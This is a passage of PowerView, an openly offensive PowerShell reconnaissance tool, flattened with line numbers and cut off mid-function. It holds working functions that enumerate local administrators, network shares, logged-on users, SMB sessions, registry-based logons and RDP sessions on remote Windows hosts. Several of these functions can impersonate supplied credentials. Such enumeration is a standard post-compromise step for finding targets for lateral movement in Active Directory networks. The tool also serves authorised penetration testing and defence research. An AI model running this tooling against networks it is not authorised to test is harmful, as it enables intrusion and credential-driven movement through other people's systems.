PowerView.LocalGroupMember.WinNT 14444 14445 Custom PSObject with translated group property fields from WinNT results. 14446 14447 .LINK 14448 14449 http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together 14450 http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx 14451 https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx 14452 #> 14453 14454 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 14455 [OutputType('PowerView.LocalGroupMember.API')] 14456 [OutputType('PowerView.LocalGroupMember.WinNT')] 14457 Param( 14458 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 14459 [Alias('HostName', 'dnshostname', 'name')] 14460 [ValidateNotNullOrEmpty()] 14461 [String[]] 14462 $ComputerName = $Env:COMPUTERNAME, 14463 14464 [Parameter(ValueFromPipelineByPropertyName = $True)] 14465 [ValidateNotNullOrEmpty()] 14466 [String] 14467 $GroupName = 'Administrators', 14468 14469 [ValidateSet('API', 'WinNT')] 14470 [Alias('CollectionMethod')] 14471 [String] 14472 $Method = 'API', 14473 14474 [Management.Automation.PSCredential] 14475 [Management.Automation.CredentialAttribute()] 14476 $Credential = [Management.Automation.PSCredential]::Empty 14477 ) 14478 14479 BEGIN { 14480 if ($PSBoundParameters['Credential']) { 14481 $LogonToken = Invoke-UserImpersonation -Credential $Credential 14482 } 14483 } 14484 14485 PROCESS { 14486 ForEach ($Computer in $ComputerName) { 14487 if ($Method -eq 'API') { 14488 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information 14489 14490 # arguments for NetLocalGroupGetMembers 14491 $QueryLevel = 2 14492 $PtrInfo = [IntPtr]::Zero 14493 $EntriesRead = 0 14494 $TotalRead = 0 14495 $ResumeHandle = 0 14496 14497 # get the local user information 14498 $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 14499 14500 # locate the offset of the initial intPtr 14501 $Offset = $PtrInfo.ToInt64() 14502 14503 $Members = @() 14504 14505 # 0 = success 14506 if (($Result -eq 0) -and ($Offset -gt 0)) { 14507 14508 # Work out how much to increment the pointer by finding out the size of the structure 14509 $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() 14510 14511 # parse all the result structures 14512 for ($i = 0; ($i -lt $EntriesRead); $i++) { 14513 # create a new int ptr at the given offset and cast the pointer as our result structure 14514 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 14515 $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 14516 14517 $Offset = $NewIntPtr.ToInt64() 14518 $Offset += $Increment 14519 14520 $SidString = '' 14521 $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 14522 14523 if ($Result2 -eq 0) { 14524 Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 14525 } 14526 else { 14527 $Member = New-Object PSObject 14528 $Member | Add-Member Noteproperty 'ComputerName' $Computer 14529 $Member | Add-Member Noteproperty 'GroupName' $GroupName 14530 $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname 14531 $Member | Add-Member Noteproperty 'SID' $SidString 14532 $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') 14533 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup 14534 $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') 14535 $Members += $Member 14536 } 14537 } 14538 14539 # free up the result buffer 14540 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 14541 14542 # try to extract out the machine SID by using the -500 account as a reference 14543 $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID 14544 if ($MachineSid) { 14545 $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) 14546 14547 $Members | ForEach-Object { 14548 if ($_.SID -match $MachineSid) { 14549 $_ | Add-Member Noteproperty 'IsDomain' $False 14550 } 14551 else { 14552 $_ | Add-Member Noteproperty 'IsDomain' $True 14553 } 14554 } 14555 } 14556 else { 14557 $Members | ForEach-Object { 14558 if ($_.SID -notmatch 'S-1-5-21') { 14559 $_ | Add-Member Noteproperty 'IsDomain' $False 14560 } 14561 else { 14562 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' 14563 } 14564 } 14565 } 14566 $Members 14567 } 14568 else { 14569 Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 14570 } 14571 } 14572 else { 14573 # otherwise we're using the WinNT service provider 14574 try { 14575 $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" 14576 14577 $GroupProvider.psbase.Invoke('Members') | ForEach-Object { 14578 14579 $Member = New-Object PSObject 14580 $Member | Add-Member Noteproperty 'ComputerName' $Computer 14581 $Member | Add-Member Noteproperty 'GroupName' $GroupName 14582 14583 $LocalUser = ([ADSI]$_) 14584 $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') 14585 $IsGroup = ($LocalUser.SchemaClassName -like 'group') 14586 14587 if(([regex]::Matches($AdsPath, '/')).count -eq 1) { 14588 # DOMAIN\user 14589 $MemberIsDomain = $True 14590 $Name = $AdsPath.Replace('/', '\') 14591 } 14592 else { 14593 # DOMAIN\machine\user 14594 $MemberIsDomain = $False 14595 $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') 14596 } 14597 14598 $Member | Add-Member Noteproperty 'AccountName' $Name 14599 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) 14600 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup 14601 $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain 14602 14603 # if ($MemberIsDomain) { 14604 # # translate the binary sid to a string 14605 # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) 14606 # $Member | Add-Member Noteproperty 'Description' '' 14607 # $Member | Add-Member Noteproperty 'Disabled' '' 14608 14609 # if ($IsGroup) { 14610 # $Member | Add-Member Noteproperty 'LastLogin' '' 14611 # } 14612 # else { 14613 # try { 14614 # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') 14615 # } 14616 # catch { 14617 # $Member | Add-Member Noteproperty 'LastLogin' '' 14618 # } 14619 # } 14620 # $Member | Add-Member Noteproperty 'PwdLastSet' '' 14621 # $Member | Add-Member Noteproperty 'PwdExpired' '' 14622 # $Member | Add-Member Noteproperty 'UserFlags' '' 14623 # } 14624 # else { 14625 # # translate the binary sid to a string 14626 # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) 14627 # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) 14628 14629 # if ($IsGroup) { 14630 # $Member | Add-Member Noteproperty 'PwdLastSet' '' 14631 # $Member | Add-Member Noteproperty 'PwdExpired' '' 14632 # $Member | Add-Member Noteproperty 'UserFlags' '' 14633 # $Member | Add-Member Noteproperty 'Disabled' '' 14634 # $Member | Add-Member Noteproperty 'LastLogin' '' 14635 # } 14636 # else { 14637 # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) 14638 # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') 14639 # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) 14640 # # UAC flags of 0x2 mean the account is disabled 14641 # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) 14642 # try { 14643 # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) 14644 # } 14645 # catch { 14646 # $Member | Add-Member Noteproperty 'LastLogin' '' 14647 # } 14648 # } 14649 # } 14650 14651 $Member 14652 } 14653 } 14654 catch { 14655 Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" 14656 } 14657 } 14658 } 14659 } 14660 14661 END { 14662 if ($LogonToken) { 14663 Invoke-RevertToSelf -TokenHandle $LogonToken 14664 } 14665 } 14666 } 14667 14668 14669 function Get-NetShare { 14670 <# 14671 .SYNOPSIS 14672 14673 Returns open shares on the local (or a remote) machine. 14674 14675 Author: Will Schroeder (@harmj0y) 14676 License: BSD 3-Clause 14677 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf 14678 14679 .DESCRIPTION 14680 14681 This function will execute the NetShareEnum Win32API call to query 14682 a given host for open shares. This is a replacement for "net share \\hostname". 14683 14684 .PARAMETER ComputerName 14685 14686 Specifies the hostname to query for shares (also accepts IP addresses). 14687 Defaults to 'localhost'. 14688 14689 .PARAMETER Credential 14690 14691 A [Management.Automation.PSCredential] object of alternate credentials 14692 for connection to the remote system using Invoke-UserImpersonation. 14693 14694 .EXAMPLE 14695 14696 Get-NetShare 14697 14698 Returns active shares on the local host. 14699 14700 .EXAMPLE 14701 14702 Get-NetShare -ComputerName sqlserver 14703 14704 Returns active shares on the 'sqlserver' host 14705 14706 .EXAMPLE 14707 14708 Get-DomainComputer | Get-NetShare 14709 14710 Returns all shares for all computers in the domain. 14711 14712 .EXAMPLE 14713 14714 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 14715 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 14716 Get-NetShare -ComputerName sqlserver -Credential $Cred 14717 14718 .OUTPUTS 14719 14720 PowerView.ShareInfo 14721 14722 A PSCustomObject representing a SHARE_INFO_1 structure, including 14723 the name/type/remark for each share, with the ComputerName added. 14724 14725 .LINK 14726 14727 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ 14728 #> 14729 14730 [OutputType('PowerView.ShareInfo')] 14731 [CmdletBinding()] 14732 Param( 14733 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 14734 [Alias('HostName', 'dnshostname', 'name')] 14735 [ValidateNotNullOrEmpty()] 14736 [String[]] 14737 $ComputerName = 'localhost', 14738 14739 [Management.Automation.PSCredential] 14740 [Management.Automation.CredentialAttribute()] 14741 $Credential = [Management.Automation.PSCredential]::Empty 14742 ) 14743 14744 BEGIN { 14745 if ($PSBoundParameters['Credential']) { 14746 $LogonToken = Invoke-UserImpersonation -Credential $Credential 14747 } 14748 } 14749 14750 PROCESS { 14751 ForEach ($Computer in $ComputerName) { 14752 # arguments for NetShareEnum 14753 $QueryLevel = 1 14754 $PtrInfo = [IntPtr]::Zero 14755 $EntriesRead = 0 14756 $TotalRead = 0 14757 $ResumeHandle = 0 14758 14759 # get the raw share information 14760 $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 14761 14762 # locate the offset of the initial intPtr 14763 $Offset = $PtrInfo.ToInt64() 14764 14765 # 0 = success 14766 if (($Result -eq 0) -and ($Offset -gt 0)) { 14767 14768 # work out how much to increment the pointer by finding out the size of the structure 14769 $Increment = $SHARE_INFO_1::GetSize() 14770 14771 # parse all the result structures 14772 for ($i = 0; ($i -lt $EntriesRead); $i++) { 14773 # create a new int ptr at the given offset and cast the pointer as our result structure 14774 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 14775 $Info = $NewIntPtr -as $SHARE_INFO_1 14776 14777 # return all the sections of the structure - have to do it this way for V2 14778 $Share = $Info | Select-Object * 14779 $Share | Add-Member Noteproperty 'ComputerName' $Computer 14780 $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') 14781 $Offset = $NewIntPtr.ToInt64() 14782 $Offset += $Increment 14783 $Share 14784 } 14785 14786 # free up the result buffer 14787 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 14788 } 14789 else { 14790 Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 14791 } 14792 } 14793 } 14794 14795 END { 14796 if ($LogonToken) { 14797 Invoke-RevertToSelf -TokenHandle $LogonToken 14798 } 14799 } 14800 } 14801 14802 14803 function Get-NetLoggedon { 14804 <# 14805 .SYNOPSIS 14806 14807 Returns users logged on the local (or a remote) machine. 14808 Note: administrative rights needed for newer Windows OSes. 14809 14810 Author: Will Schroeder (@harmj0y) 14811 License: BSD 3-Clause 14812 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf 14813 14814 .DESCRIPTION 14815 14816 This function will execute the NetWkstaUserEnum Win32API call to query 14817 a given host for actively logged on users. 14818 14819 .PARAMETER ComputerName 14820 14821 Specifies the hostname to query for logged on users (also accepts IP addresses). 14822 Defaults to 'localhost'. 14823 14824 .PARAMETER Credential 14825 14826 A [Management.Automation.PSCredential] object of alternate credentials 14827 for connection to the remote system using Invoke-UserImpersonation. 14828 14829 .EXAMPLE 14830 14831 Get-NetLoggedon 14832 14833 Returns users actively logged onto the local host. 14834 14835 .EXAMPLE 14836 14837 Get-NetLoggedon -ComputerName sqlserver 14838 14839 Returns users actively logged onto the 'sqlserver' host. 14840 14841 .EXAMPLE 14842 14843 Get-DomainComputer | Get-NetLoggedon 14844 14845 Returns all logged on users for all computers in the domain. 14846 14847 .EXAMPLE 14848 14849 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 14850 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 14851 Get-NetLoggedon -ComputerName sqlserver -Credential $Cred 14852 14853 .OUTPUTS 14854 14855 PowerView.LoggedOnUserInfo 14856 14857 A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including 14858 the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. 14859 14860 .LINK 14861 14862 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ 14863 #> 14864 14865 [OutputType('PowerView.LoggedOnUserInfo')] 14866 [CmdletBinding()] 14867 Param( 14868 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 14869 [Alias('HostName', 'dnshostname', 'name')] 14870 [ValidateNotNullOrEmpty()] 14871 [String[]] 14872 $ComputerName = 'localhost', 14873 14874 [Management.Automation.PSCredential] 14875 [Management.Automation.CredentialAttribute()] 14876 $Credential = [Management.Automation.PSCredential]::Empty 14877 ) 14878 14879 BEGIN { 14880 if ($PSBoundParameters['Credential']) { 14881 $LogonToken = Invoke-UserImpersonation -Credential $Credential 14882 } 14883 } 14884 14885 PROCESS { 14886 ForEach ($Computer in $ComputerName) { 14887 # declare the reference variables 14888 $QueryLevel = 1 14889 $PtrInfo = [IntPtr]::Zero 14890 $EntriesRead = 0 14891 $TotalRead = 0 14892 $ResumeHandle = 0 14893 14894 # get logged on user information 14895 $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 14896 14897 # locate the offset of the initial intPtr 14898 $Offset = $PtrInfo.ToInt64() 14899 14900 # 0 = success 14901 if (($Result -eq 0) -and ($Offset -gt 0)) { 14902 14903 # work out how much to increment the pointer by finding out the size of the structure 14904 $Increment = $WKSTA_USER_INFO_1::GetSize() 14905 14906 # parse all the result structures 14907 for ($i = 0; ($i -lt $EntriesRead); $i++) { 14908 # create a new int ptr at the given offset and cast the pointer as our result structure 14909 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 14910 $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 14911 14912 # return all the sections of the structure - have to do it this way for V2 14913 $LoggedOn = $Info | Select-Object * 14914 $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer 14915 $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') 14916 $Offset = $NewIntPtr.ToInt64() 14917 $Offset += $Increment 14918 $LoggedOn 14919 } 14920 14921 # free up the result buffer 14922 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 14923 } 14924 else { 14925 Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 14926 } 14927 } 14928 } 14929 14930 END { 14931 if ($LogonToken) { 14932 Invoke-RevertToSelf -TokenHandle $LogonToken 14933 } 14934 } 14935 } 14936 14937 14938 function Get-NetSession { 14939 <# 14940 .SYNOPSIS 14941 14942 Returns session information for the local (or a remote) machine. 14943 14944 Author: Will Schroeder (@harmj0y) 14945 License: BSD 3-Clause 14946 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf 14947 14948 .DESCRIPTION 14949 14950 This function will execute the NetSessionEnum Win32API call to query 14951 a given host for active sessions. 14952 14953 .PARAMETER ComputerName 14954 14955 Specifies the hostname to query for sessions (also accepts IP addresses). 14956 Defaults to 'localhost'. 14957 14958 .PARAMETER Credential 14959 14960 A [Management.Automation.PSCredential] object of alternate credentials 14961 for connection to the remote system using Invoke-UserImpersonation. 14962 14963 .EXAMPLE 14964 14965 Get-NetSession 14966 14967 Returns active sessions on the local host. 14968 14969 .EXAMPLE 14970 14971 Get-NetSession -ComputerName sqlserver 14972 14973 Returns active sessions on the 'sqlserver' host. 14974 14975 .EXAMPLE 14976 14977 Get-DomainController | Get-NetSession 14978 14979 Returns active sessions on all domain controllers. 14980 14981 .EXAMPLE 14982 14983 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 14984 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 14985 Get-NetSession -ComputerName sqlserver -Credential $Cred 14986 14987 .OUTPUTS 14988 14989 PowerView.SessionInfo 14990 14991 A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including 14992 the CName/UserName/Time/IdleTime for each session, with the ComputerName added. 14993 14994 .LINK 14995 14996 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ 14997 #> 14998 14999 [OutputType('PowerView.SessionInfo')] 15000 [CmdletBinding()] 15001 Param( 15002 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15003 [Alias('HostName', 'dnshostname', 'name')] 15004 [ValidateNotNullOrEmpty()] 15005 [String[]] 15006 $ComputerName = 'localhost', 15007 15008 [Management.Automation.PSCredential] 15009 [Management.Automation.CredentialAttribute()] 15010 $Credential = [Management.Automation.PSCredential]::Empty 15011 ) 15012 15013 BEGIN { 15014 if ($PSBoundParameters['Credential']) { 15015 $LogonToken = Invoke-UserImpersonation -Credential $Credential 15016 } 15017 } 15018 15019 PROCESS { 15020 ForEach ($Computer in $ComputerName) { 15021 # arguments for NetSessionEnum 15022 $QueryLevel = 10 15023 $PtrInfo = [IntPtr]::Zero 15024 $EntriesRead = 0 15025 $TotalRead = 0 15026 $ResumeHandle = 0 15027 15028 # get session information 15029 $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 15030 15031 # locate the offset of the initial intPtr 15032 $Offset = $PtrInfo.ToInt64() 15033 15034 # 0 = success 15035 if (($Result -eq 0) -and ($Offset -gt 0)) { 15036 15037 # work out how much to increment the pointer by finding out the size of the structure 15038 $Increment = $SESSION_INFO_10::GetSize() 15039 15040 # parse all the result structures 15041 for ($i = 0; ($i -lt $EntriesRead); $i++) { 15042 # create a new int ptr at the given offset and cast the pointer as our result structure 15043 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 15044 $Info = $NewIntPtr -as $SESSION_INFO_10 15045 15046 # return all the sections of the structure - have to do it this way for V2 15047 $Session = $Info | Select-Object * 15048 $Session | Add-Member Noteproperty 'ComputerName' $Computer 15049 $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') 15050 $Offset = $NewIntPtr.ToInt64() 15051 $Offset += $Increment 15052 $Session 15053 } 15054 15055 # free up the result buffer 15056 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 15057 } 15058 else { 15059 Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 15060 } 15061 } 15062 } 15063 15064 15065 END { 15066 if ($LogonToken) { 15067 Invoke-RevertToSelf -TokenHandle $LogonToken 15068 } 15069 } 15070 } 15071 15072 15073 function Get-RegLoggedOn { 15074 <# 15075 .SYNOPSIS 15076 15077 Returns who is logged onto the local (or a remote) machine 15078 through enumeration of remote registry keys. 15079 15080 Note: This function requires only domain user rights on the 15081 machine you're enumerating, but remote registry must be enabled. 15082 15083 Author: Matt Kelly (@BreakersAll) 15084 License: BSD 3-Clause 15085 Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID 15086 15087 .DESCRIPTION 15088 15089 This function will query the HKU registry values to retrieve the local 15090 logged on users SID and then attempt and reverse it. 15091 Adapted technique from Sysinternal's PSLoggedOn script. Benefit over 15092 using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges 15093 required (NetWkstaUserEnum requires remote admin access). 15094 15095 .PARAMETER ComputerName 15096 15097 Specifies the hostname to query for remote registry values (also accepts IP addresses). 15098 Defaults to 'localhost'. 15099 15100 .PARAMETER Credential 15101 15102 A [Management.Automation.PSCredential] object of alternate credentials 15103 for connection to the remote system using Invoke-UserImpersonation. 15104 15105 .EXAMPLE 15106 15107 Get-RegLoggedOn 15108 15109 Returns users actively logged onto the local host. 15110 15111 .EXAMPLE 15112 15113 Get-RegLoggedOn -ComputerName sqlserver 15114 15115 Returns users actively logged onto the 'sqlserver' host. 15116 15117 .EXAMPLE 15118 15119 Get-DomainController | Get-RegLoggedOn 15120 15121 Returns users actively logged on all domain controllers. 15122 15123 .EXAMPLE 15124 15125 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 15126 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 15127 Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred 15128 15129 .OUTPUTS 15130 15131 PowerView.RegLoggedOnUser 15132 15133 A PSCustomObject including the UserDomain/UserName/UserSID of each 15134 actively logged on user, with the ComputerName added. 15135 #> 15136 15137 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 15138 [OutputType('PowerView.RegLoggedOnUser')] 15139 [CmdletBinding()] 15140 Param( 15141 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15142 [Alias('HostName', 'dnshostname', 'name')] 15143 [ValidateNotNullOrEmpty()] 15144 [String[]] 15145 $ComputerName = 'localhost' 15146 ) 15147 15148 BEGIN { 15149 if ($PSBoundParameters['Credential']) { 15150 $LogonToken = Invoke-UserImpersonation -Credential $Credential 15151 } 15152 } 15153 15154 PROCESS { 15155 ForEach ($Computer in $ComputerName) { 15156 try { 15157 # retrieve HKU remote registry values 15158 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") 15159 15160 # sort out bogus sid's like _class 15161 $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { 15162 $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' 15163 15164 if ($UserName) { 15165 $UserName, $UserDomain = $UserName.Split('@') 15166 } 15167 else { 15168 $UserName = $_ 15169 $UserDomain = $Null 15170 } 15171 15172 $RegLoggedOnUser = New-Object PSObject 15173 $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" 15174 $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain 15175 $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName 15176 $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ 15177 $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') 15178 $RegLoggedOnUser 15179 } 15180 } 15181 catch { 15182 Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" 15183 } 15184 } 15185 } 15186 15187 END { 15188 if ($LogonToken) { 15189 Invoke-RevertToSelf -TokenHandle $LogonToken 15190 } 15191 } 15192 } 15193 15194 15195 function Get-NetRDPSession { 15196 <# 15197 .SYNOPSIS 15198 15199 Returns remote desktop/session information for the local (or a remote) machine. 15200 15201 Note: only members of the Administrators or Account Operators local group 15202 can successfully execute this functionality on a remote target. 15203 15204 Author: Will Schroeder (@harmj0y) 15205 License: BSD 3-Clause 15206 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf 15207 15208 .DESCRIPTION 15209 15210 This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation 15211 Win32API calls to query a given RDP remote service for active sessions and originating 15212 IPs. This is a replacement for qwinsta. 15213 15214 .PARAMETER ComputerName 15215 15216 Specifies the hostname to query for active sessions (also accepts IP addresses). 15217 Defaults to 'localhost'. 15218 15219 .PARAMETER Credential 15220 15221 A [Management.Automation.PSCredential] object of alternate credentials 15222 for connection to the remote system using Invoke-UserImpersonation. 15223 15224 .EXAMPLE 15225 15226 Get-NetRDPSession 15227 15228 Returns active RDP/terminal sessions on the local host. 15229 15230 .EXAMPLE 15231 15232 Get-NetRDPSession -ComputerName "sqlserver" 15233 15234 Returns active RDP/terminal sessions on the 'sqlserver' host. 15235 15236 .EXAMPLE 15237 15238 Get-DomainController | Get-NetRDPSession 15239 15240 Returns active RDP/terminal sessions on all domain controllers. 15241 15242 .EXAMPLE 15243 15244 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 15245 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 15246 Get-NetRDPSession -ComputerName sqlserver -Credential $Cred 15247 15248 .OUTPUTS 15249 15250 PowerView.RDPSessionInfo 15251 15252 A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, 15253 with the ComputerName added. 15254 15255 .LINK 15256 15257 https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx 15258 #> 15259 15260 [OutputType('PowerView.RDPSessionInfo')] 15261 [CmdletBinding()] 15262 Param( 15263 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 15264 [Alias('HostName', 'dnshostname', 'name')] 15265 [ValidateNotNullOrEmpty()] 15266 [String[]] 15267 $ComputerName = 'localhost', 15268 15269 [Management.Automation.PSCredential] 15270 [Management.Automation.CredentialAttribute()] 15271 $Credential = [Management.Automation.PSCredential]::Empty 15272 ) 15273 15274 BEGIN { 15275 if ($PSBoundParameters['Credential']) { 15276 $LogonToken = Invoke-UserImpersonation -Credential $Credential 15277 } 15278 } 15279 15280 PROCESS { 15281 ForEach ($Computer in $ComputerName) { 15282 15283 # open up a handle to the Remote Desktop Session host 15284 $Handle = $Wtsapi32::WTSOpenServerEx($Computer) 15285 15286 # if we get a non-zero handle back, everything was successful 15287 if ($Handle -ne 0) { 15288 15289 # arguments for WTSEnumerateSessionsEx 15290 $ppSessionInfo = [IntPtr]::Zero 15291 $pCount = 0 15292 15293 # get information on all current sessions 15294 $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 15295 15296 # locate the offset of the initial intPtr 15297 $Offset = $ppSessionInfo.ToInt64() 15298 15299 if (($Result -ne 0) -and ($Offset -gt 0)) { 15300 15301 # work out how much to increment the pointer by finding out the size of the structure 15302 $Increment = $WTS_SESSION_INFO_1::GetSize() 15303 15304 # parse all the result structures 15305 for ($i = 0; ($i -lt $pCount); $i++) { 15306 15307 # create a new int ptr at the given offset and cast the pointer as our result structure 15308 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 15309 $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 15310 15311 $RDPSession = New-Object PSObject 15312 15313 if ($Info.pHostName) { 15314 $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName 15315 } 15316 else { 15317 # if no hostname returned, use the specified hostname 15318 $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer 15319 } 15320 15321 $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName 15322 15323 if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { 15324 # if a domain isn't returned just use the username 15325 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" 15326 } 15327 else { 15328 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" 15329 } 15330 15331 $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID 15332 $RDPSession | Add-Member Noteproperty 'State' $Info.State 15333 15334 $ppBuffer = [IntPtr]::Zero 15335 $pBytesReturned = 0 15336 15337 # query for the source client IP with WTSQuerySessionInformation 15338 # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx 15339 $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 15340 15341 if ($Result2 -eq 0) { 15342 Write-Verbose "[Get-NetRDPSession] Error: 